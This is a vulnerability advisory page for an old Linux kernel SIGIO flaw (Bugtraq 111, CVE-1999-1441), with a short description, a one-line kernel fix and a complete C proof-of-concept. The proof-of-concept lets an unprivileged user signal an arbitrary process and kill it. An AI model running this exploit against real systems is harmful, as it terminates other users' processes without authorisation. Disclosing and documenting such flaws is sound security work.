Multiple Vendor Linux SIGIO Vulnerability

BID:111

Info

Multiple Vendor Linux SIGIO Vulnerability

Bugtraq ID: 111
Class: Access Validation Error
CVE: CVE-1999-1441
Remote: No
Local: No
Published: Jun 30 1998 12:00AM
Updated: Jul 11 2009 12:16AM
Credit: The vulnerability was reported by David Luyer <[email protected]> to the BugTraq mailing list on Tue, 30 Jun 1998.
Vulnerable: Linux kernel 2.1
Linux kernel 2.0
Not Vulnerable:

Discussion

Multiple Vendor Linux SIGIO Vulnerability

A vulnerability in the Linux kernel allows any user to send a SIGIO signal to any process. If the process does not catch or ignore the signal is will exit.

This vulnerability affects Linux 2.0.3[1-4] and 2.1.101+.

Exploit / POC

Multiple Vendor Linux SIGIO Vulnerability

/* On non-glibc systems you must add
*
* #define O_ASYNC FASYNC
*/
#include &lt;fcntl.h&gt;
#include &lt;errno.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;

int main(int argc, char *argv[]) {
int s, p;

if(argc != 2) {
fputs("Please specify a pid to send signal to.\n", stderr);
exit(0);
} else {
p = atoi(argv[1]);
}
fcntl(0,F_SETOWN,p);
s = fcntl(0,F_GETFL,0);
fcntl(0,F_SETFL,s|O_ASYNC);
printf("Sending SIGIO - press enter.\n");
getchar();
fcntl(0,F_SETFL,s&amp;~O_ASYNC);
printf("SIGIO send attempted.\n");
return 0;
}

Solution / Fix

Multiple Vendor Linux SIGIO Vulnerability

Solution:
The fix is to invert !euid to euid in fs/fcntl.c:send_sigio(); line number
is approximately 139.

References

Multiple Vendor Linux SIGIO Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report